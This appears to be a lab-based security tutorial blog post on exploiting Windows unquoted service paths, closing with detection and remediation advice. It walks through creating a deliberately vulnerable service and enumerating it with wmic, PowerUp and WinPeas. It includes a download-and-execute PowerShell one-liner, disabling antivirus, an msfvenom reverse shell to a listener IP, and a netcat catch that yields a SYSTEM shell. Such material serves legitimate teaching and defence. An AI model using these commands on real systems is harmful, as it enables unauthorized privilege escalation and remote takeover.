Unquoted Service Path
What is an Unquoted Service Path?
Unquoted Service path is a Privilege escalation technique which allows you to escalate your privileges from a standard unprivileged user to an administrator or NT System account. If the service is created, the path for the executable contains spaces and the whole path is not enclosed within quotes you have an unquoted service path.
An Unquoted Service Path works by exploiting the way the Windows operating system looks for services when they are unquoted and contain spaces.
For example, take this unquoted service path; C:\Program Files\securitytutorials\vuln Service\file.exe, Windows will try the following paths in order:
- C:\Program.exe
- C:\Program Files.exe
- C:\Program Files\Securitytutorials\vuln.exe
- C:\Program Files\Securitytutorials.exe
- C:\Program Files\Securitytutorials\vuln Service.exe
Before eventually reaching the correct location for file.exe.
If a Low privileged user then has rights to any of these folders it’s possible to drop a malicious payload and get it to run instead of the intended service. The payload runs in the context of whatever user the service was set to run as which usually is an NT System or administrator account.
Setting up the Lab
I personally think the best way to start looking at privilege escalation techniques like “unquoted service paths” is to set them up in a virtual environment. If you haven’t got a LAB set up yet take a look at my tutorial on creating an Active Directory home Lab.
Unquoted service path works on all versions of Windows, However, for this example though ill be using Windows 10. Firstly start by opening up the Command prompt and creating two users, one low-privilege user account and an administrator account.
Create a local low-privilege account with a password of Password by typing
net user lowprivuser Password /add
Then re-active the administrator account and reset the password to Password.
net user administrator Password /active:yes

Creating a Vulnerable Service
Now we have to actually create a Vulnerable service. kick this off by creating a couple of folders in C:\program files\
mkdir "C:\Program Files\Securitytutorials\Vuln Service"

Next, use the Service Controller command tool “sc.exe” to create our vulnerable service with the path set to the folders that were just created as below.
sc create "UnquotedService" binpath= "C:\Program Files\Securitytutorials\Vuln Service\file.exe" start= auto

Then, using icacls give write permissions to all built-in users to the securitytutorials folder.
icacls "C:\Program Files\Securitytutorials" /grant "Builtin\Users":W

once completed check your service “UnquotedService” is actually registered in services.msc.

Give Builtin\users permission to restart the service
Now in real life, default users would not have Permission to restart the service and what we would have to do is restart the whole PC to get the exploit to fire, while testing I don’t want to have to do this. That’s where subinacl comes in.
SUBINACL is not actually supported in anything above Windows Server 2012 / 7 and has largely been replaced by the icacls and the Sc command. So Finding a copy of subinacl online can be like gold dust. However, it still does work and is one of the quickest and simplest ways to make this change we need.
The only place you can safely still download a copy of subinacl is from the Wayback machine here or here
Once you have subinacl downloaded run it to start the installer.
- To start the install wizard click next to continue

- click I accept the terms of the License agreement and then next

- Leave the destination of the installation folder as default and click the install now button.

- after a few seconds you should receive an installation is successful message click finish

Once Subinacl is installed go back to the command prompt and change the directory to the location where subinacl is installed.
By default, this will be …
cd "C:\Program Files (x86)\Windows Resource Kits\Tools"
then type the subinacl command below to give builtin users the right to restart our newly created service.
subinacl.exe /service UnquotedService /grant=Builtin\users=PTO

Finding unquoted Service paths
Log in to the lowprivuser account which is just a member of the domain users group

Username: lowprivuser
Password: Password
Once logged in you can quickly find unquoted services with a command prompt by typing the wmic command below.
wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """
Or…
wmic service get name,displayname,startmode,pathname | findstr /i /v "C:\Windows\\" |findstr /i /v """
You should see an output like below. Showing the new unquotedservice to be vulnerable. Sadly IT looks like this VM I’m using does already have another unquoted service in Openssh straight out of the box.

I found this great PowerShell script that also checks the permissions of the service which you can grab directly from Blue Teams Steve’s git hub.

There’s also this other PowerShell oneliner command.
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

Powerup.ps1
Powerup is a collection of PowerShell modules which has a module specifically for unquoted service paths. However, Powerup is a very well-known script and you will probably need to disable AV to even get it to run or you will end up with an error like this.

You can download PowerUp.ps1 from the link below.
https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1
If you do get it downloaded and are able to run all you need to do is import the Powerup.ps1 module into Powershell by typing
import-module .\PowerUp.ps1
Then just run Get-unquotedService. As you can see from the example below you get a lot more information about the services that are unquoted, like their permissions or if the user you are running Powerup with can restart the service.

You can also run “Get-unquotedService” from powerup.ps1 with this neat PowerShell oneliner below, Which pulls Powerup.ps1 direct from GitHub and loads it into memory then runs the Get-unquotedService without it ever touching the hard disk.
powershell.exe -nop -exec bypass "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1'); Get-unquotedService"
Note: When using the Powershell oneliner you can swap out the Get-unquotedService with any of the other commands within powerup.ps1 or run Invoke-AllChecks for it to check everything.
WinPeas
WinPeas is like Powerup in that it’s a set of scripts to help find privilege escalation paths on Windows devices “There is also LinPeas for Linux“. This will also need to have AV Disabled to get this to run properly. Check out the WinPeas GitHub for more information.
Download WinPeas direct from GitHub using Wget as your web browser may also block you from downloading it.
wget https://github.com/carlospolop/PEASS-ng/releases/download/20230212/winPEASx64.exe -UseBasicParsing -o winPeasx64.exe

Once Winpeas is downloaded type the command below to display information about the installed services.
.\winPeasx64.exe quiet servicesinfo
You should see a nice colourful output as pictured below highlighting any issues with services including unquoted service paths.

Tip: if your Winpeas output is not looking very colourful as pictured below …

open up the Command prompt and type this command to update the registry and sort the Colour issue for the current user.
REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1
Then close and re-open Powershell re-run WinPeas and you should see the full-coloured version.
Create a reverse Shell with Msvenom
Now that we have found the unquoted service path we need to create a reverse shell to call us back once the service is run.
There are plenty of different ways we could drop a reverse shell on a device but the quickest is to use MSFVenom which is part of metersploit and should be installed in Kali Linux by default.
If you want to know more about payloads and MSFvenom check out my tutorial on Creating a Payload with Msfvenom.
Use the command below to create a reverse TCP shell. Substituting the IP address with the IP address of the remote host you want to connect back to.
msfvenom -p windows/shell_reverse_tcp lhost=192.168.0.63 lport=8888 -f exe > Vuln.exe

Setup a Python HTTP server
Now we have to get our reverse TCP shell onto our victim machine. This is easily done using a single line of Python to create a quick and dirty HTTP server to host the payload.
python -m http.server 80

Open up any internet browser as the lowprivuser on the Windows PC and navigate to the IP address of where the payload and Python HTTP server is and you should see the payload you just created and can download it.

You might get prompted that vlun.exe isn’t commonly downloaded just click keep and follow through the prompts.

You should see a log of anyone connecting to the HTTP server in the terminal. Once Vlun.exe is downloaded hit ctrl + c in the window running the Python web server to stop the webserver from running.

Setup a NetCat Listener
Lastly, we need to set up something to receive the call back from the Windows device once the payload is run. For this just set up a Netcat Listener on port 8888 that was specified in the Msfvenom payload.
nc -lvp 8888

If you want more information on Netcat check out my Netcat 101 tutorial.
Exploit Unquoted Service Path
With everything set all we need to do is move the Vuln.exe file into the C:\program files\Securitytutorials folder we created at the start of the tutorial.

Once Vuln.exe is copied to the securitytutorials folder open services and try starting the UnquotedService. When the service starts, Windows will run Vuln.exe before it checks the actual Vuln Service folder.

The Service will fail to start but if you go back to your Netcat listener you will now have a system shell from the Windows device. Check the logged-on user by typing whoami in the shell and it should come back with “NT authority\system”

If the service is now ever restarted i.e. If the device is physically restarted or more specifically manually restart the service itself you will get an opportunity for a new Shell.
As a bit of homework, try changing the name of the logged-in user of the Unquotedservice service to the administrator user and try and restart the service.

Once connected do a whoami again and notice that you are now the administrator user.
Note: If you ever find something like this in your environment Run a netstat command looking for port 8888 on the Windows device when you have a remote connection and you will see that a connection is established showing the port and what IP the device is connected to.

Metasploit Module
If you have a Metasploit shell there is a Post exploit module that will test and automatically exploit any unquoted service paths giving you a new session with escalated privileges. Below is the payload to search for in msfconsole.
Windows/local/unquoted_Service_Path
All you need to do is add which session you want the module to run on.

Once set, Run the exploit and Metersploit will automatically try and exploit any Unquoted Service Paths that it finds escalating user privileges to a new session.

Fixing an Unquoted Service Path
Now the important bit… How to actually fix an Unquoted Service Path? In my own experience, I have found two ways of fixing an unquoted service path. The first is to reinstall or update the application, Usually, vendors are aware there is an issue already and will have subsequently released an update.
If there is no Patch\update or It’s a program that you cant update for whatever reason, you can try to manually add the quotes around the path in the registry.
Do this by opening up the registry “Regedit” and going to the location below…
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\<Name of Service>
Then edit the ImagePath, adding the quotes to the path under value data.

Make sure to fully test that the program still works after adding the quotes, as I have found in some circumstances this stops the program from working in which case logging a case with the Vendor or updating the program is the only option.
One thought on “Unquoted Service Path”